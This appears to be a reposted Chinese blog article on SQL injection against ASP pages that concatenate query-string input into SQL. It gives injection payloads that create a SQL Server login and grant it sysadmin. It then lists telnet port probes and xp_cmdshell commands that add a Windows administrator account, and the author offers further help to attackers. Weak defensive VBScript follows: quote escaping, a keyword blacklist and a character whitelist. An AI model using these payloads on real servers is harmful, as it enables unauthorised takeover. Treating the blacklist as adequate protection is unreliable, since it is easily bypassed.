select .. where name = "+ Request.QueryString["name"]的后果?

来源:互联网 发布:windows找不到bat文件 编辑:程序博客网 时间:2024/04/26 02:52

很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?!

[篇幅问题,具体命令自己查查]

把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组

用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..

不可以呢?
向下看

象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'

这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号

后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
       input=replace(input,"'","''")
       escape=input
end function

方法二——拒绝已知的错误输入
function validate_string(input)
       known_bad=array("select","insert","update","delete","drop","—","'")
       validate_string=true
       for i=lbound(known_bad) to ubound(known_bad)
          if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
             validate_string=false
             exit function
          end if
       next
end function

方法三——只允许正确的输入
function validatepassword(input)
       good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
       validatepassword=true
       for i=1 to len(input)
          c=mid(input,I,1)
          if(InStr(good_password_chars,c)=0) then
               validatepassword=false
               exit function
          end if
       next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296

原创粉丝点击